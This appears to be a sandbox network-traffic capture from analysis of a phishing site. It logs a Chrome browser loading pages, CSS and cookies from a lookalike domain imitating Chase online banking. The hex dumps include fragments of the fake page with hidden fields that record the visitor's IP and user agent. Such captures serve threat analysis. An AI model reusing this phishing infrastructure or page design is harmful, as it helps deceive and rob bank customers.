Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:03 UTC	980	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 620 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:17:03 UTC	620	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 31 2c 30 2c 30 2c 30 5d 5d 5d 2c 35 37 34 2c 5b 5b 22 31 37 33 34 36 35 33 38 31 39 30 34 36 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,1,0,0,0]]],574,[["1734653819046",null,null,null,
2024-12-20 00:17:03 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Fri, 20 Dec 2024 00:17:03 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-20 00:17:03 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-20 00:17:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49852	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:03 UTC	787	OUT	GET / HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://online.access.secure001.chase-business.com/secure/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7
2024-12-20 00:17:04 UTC	903	IN	HTTP/1.1 303 See Other Date: Fri, 20 Dec 2024 00:17:03 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: stp=0; expires=Fri, 20-Dec-2024 01:17:03 GMT; Max-Age=3600; path=/ Set-Cookie: ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; expires=Fri, 20-Dec-2024 01:17:03 GMT; Max-Age=3600; path=/ Set-Cookie: uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; expires=Fri, 20-Dec-2024 01:17:03 GMT; Max-Age=3600; path=/ Set-Cookie: wt=0; expires=Fri, 20-Dec-2024 01:17:03 GMT; Max-Age=3600; path=/ Set-Cookie: uid_hash=bbecbe4eee67084dce4f604c98e6ce6e; expires=Fri, 20-Dec-2024 01:17:03 GMT; Max-Age=3600; path=/ Location: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49854	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:03 UTC	429	OUT	GET /secure/secure.php HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7
2024-12-20 00:17:04 UTC	276	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:04 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49853	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:04 UTC	979	OUT	GET /web/auth/dashboard/dashboard/index/index HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://online.access.secure001.chase-business.com/secure/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:04 UTC	308	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:04 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-20 00:17:04 UTC	6	IN	Data Raw: 32 35 30 36 0d 0a Data Ascii: 2506
2024-12-20 00:17:04 UTC	9478	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 64 69 72 3d 22 6c 74 72 22 20 64 61 74 61 2d 62 72 61 6e 64 3d 22 63 70 6f 22 20 64 61 74 61 2d 6d 64 73 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6f 6e 6c 69 6e 65 2e 61 63 63 65 73 73 2e 73 65 63 75 72 65 30 30 31 2e 63 68 61 73 65 2d 62 75 73 69 6e 65 73 73 2e 63 6f 6d 2f 22 3e 09 3c 73 74 79 6c 65 3e 0d 0a 09 62 6f 64 79 20 7b 0d 0a 09 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 65 61 Data Ascii: <!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml" class="no-js" dir="ltr" data-brand="cpo" data-mds-theme="light" lang="en"><head><base href="https://online.access.secure001.chase-business.com/"><style>body {transition: opacity ea
2024-12-20 00:17:04 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-20 00:17:04 UTC	6	IN	Data Raw: 33 64 34 39 0d 0a Data Ascii: 3d49
2024-12-20 00:17:05 UTC	15689	IN	Data Raw: 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 22 20 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 69 6e 70 75 74 20 69 64 3d 22 69 70 22 20 6e 61 6d 65 3d 22 69 70 22 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 76 61 6c 75 65 3d 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 20 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 69 6e 70 75 74 20 69 64 3d 22 75 61 67 65 6e 74 22 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 75 61 67 65 6e 74 22 20 76 61 6c 75 65 3d 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 Data Ascii: 5a4d22e2b2bbd8eeecd1e5b6b012d987" /><input id="ip" name="ip" type="hidden" value="8.46.123.189" /><input id="uagent" type="hidden" name="uagent" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, li
2024-12-20 00:17:05 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-20 00:17:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49859	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:05 UTC	604	OUT	GET /web/auth/dashboard/dashboard/index/index HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:05 UTC	308	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:05 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-12-20 00:17:05 UTC	6	IN	Data Raw: 32 35 30 36 0d 0a Data Ascii: 2506
2024-12-20 00:17:05 UTC	9478	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 64 69 72 3d 22 6c 74 72 22 20 64 61 74 61 2d 62 72 61 6e 64 3d 22 63 70 6f 22 20 64 61 74 61 2d 6d 64 73 2d 74 68 65 6d 65 3d 22 6c 69 67 68 74 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6f 6e 6c 69 6e 65 2e 61 63 63 65 73 73 2e 73 65 63 75 72 65 30 30 31 2e 63 68 61 73 65 2d 62 75 73 69 6e 65 73 73 2e 63 6f 6d 2f 22 3e 09 3c 73 74 79 6c 65 3e 0d 0a 09 62 6f 64 79 20 7b 0d 0a 09 09 74 72 61 6e 73 69 74 69 6f 6e 3a 20 6f 70 61 63 69 74 79 20 65 61 Data Ascii: <!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml" class="no-js" dir="ltr" data-brand="cpo" data-mds-theme="light" lang="en"><head><base href="https://online.access.secure001.chase-business.com/"><style>body {transition: opacity ea
2024-12-20 00:17:05 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-20 00:17:05 UTC	6	IN	Data Raw: 33 64 34 39 0d 0a Data Ascii: 3d49
2024-12-20 00:17:05 UTC	15689	IN	Data Raw: 35 61 34 64 32 32 65 32 62 32 62 62 64 38 65 65 65 63 64 31 65 35 62 36 62 30 31 32 64 39 38 37 22 20 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 69 6e 70 75 74 20 69 64 3d 22 69 70 22 20 6e 61 6d 65 3d 22 69 70 22 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 76 61 6c 75 65 3d 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 20 2f 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 69 6e 70 75 74 20 69 64 3d 22 75 61 67 65 6e 74 22 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 75 61 67 65 6e 74 22 20 76 61 6c 75 65 3d 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 Data Ascii: 5a4d22e2b2bbd8eeecd1e5b6b012d987" /><input id="ip" name="ip" type="hidden" value="8.46.123.189" /><input id="uagent" type="hidden" name="uagent" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, li
2024-12-20 00:17:05 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-12-20 00:17:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49860	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:05 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:17:06 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:17:05 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:17:06 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:17:06 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49861	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:06 UTC	852	OUT	GET /content/css/mds-chase-icons.css HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:06 UTC	273	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 20:08:54 GMT ETag: "63f8-6104372bb6180" Accept-Ranges: bytes Content-Length: 25592 Vary: Accept-Encoding Connection: close Content-Type: text/css
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 6d 64 73 2d 63 68 61 73 65 2d 69 63 6f 6e 73 3b 73 72 63 3a 75 72 6c 28 66 6f 6e 74 73 2f 6d 64 73 2d 63 68 61 73 65 2d 69 63 6f 6e 73 2e 65 6f 74 29 3b 73 72 63 3a 75 72 6c 28 66 6f 6e 74 73 2f 6d 64 73 2d 63 68 61 73 65 2d 69 63 6f 6e 73 2e 65 6f 74 23 69 65 66 69 78 29 20 66 6f 72 6d 61 74 28 27 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 27 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 6d 64 73 2d 63 68 61 73 65 2d 69 63 6f 6e 73 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 6d 64 73 2d 63 68 61 73 65 2d 69 63 6f 6e 73 2e 77 6f 66 66 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 75 72 6c 28 66 6f 6e 74 73 2f 6d 64 73 2d 63 68 Data Ascii: @font-face{font-family:mds-chase-icons;src:url(fonts/mds-chase-icons.eot);src:url(fonts/mds-chase-icons.eot#iefix) format('embedded-opentype'),url(fonts/mds-chase-icons.woff2) format("woff2"),url(fonts/mds-chase-icons.woff) format("woff"),url(fonts/mds-ch
2024-12-20 00:17:07 UTC	9208	IN	Data Raw: 72 5f 34 5f 70 65 72 63 65 6e 74 61 67 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 32 33 35 22 7d 2e 69 63 6f 5f 6e 75 6d 62 65 72 5f 34 78 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 32 34 42 22 7d 2e 69 63 6f 5f 6e 75 6d 62 65 72 5f 35 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 32 33 33 22 7d 2e 69 63 6f 5f 6e 75 6d 62 65 72 5f 35 5f 64 65 63 69 6d 61 6c 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 32 33 36 22 7d 2e 69 63 6f 5f 6e 75 6d 62 65 72 5f 35 5f 70 65 72 63 65 6e 74 61 67 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 32 34 31 22 7d 2e 69 63 6f 5f 6e 75 6d 62 65 72 5f 35 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 45 32 34 43 22 7d 2e 69 63 6f 5f 6e 75 6d 62 65 72 Data Ascii: r_4_percentage:before{content:"\E235"}.ico_number_4x:before{content:"\E24B"}.ico_number_5:before{content:"\E233"}.ico_number_5_decimal:before{content:"\E236"}.ico_number_5_percentage:before{content:"\E241"}.ico_number_5k:before{content:"\E24C"}.ico_number

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49863	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:06 UTC	844	OUT	GET /content/css/blue-ui.css HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:06 UTC	275	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 31 Jan 2024 20:21:34 GMT ETag: "7c902-61043a0080f80" Accept-Ranges: bytes Content-Length: 510210 Vary: Accept-Encoding Connection: close Content-Type: text/css
2024-12-20 00:17:07 UTC	16384	IN	Data Raw: 2f 2a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 33 2e 30 2e 31 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 2e 69 6f 2f 6e 6f 72 6d 61 6c 69 7a 65 20 2a 2f 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6d 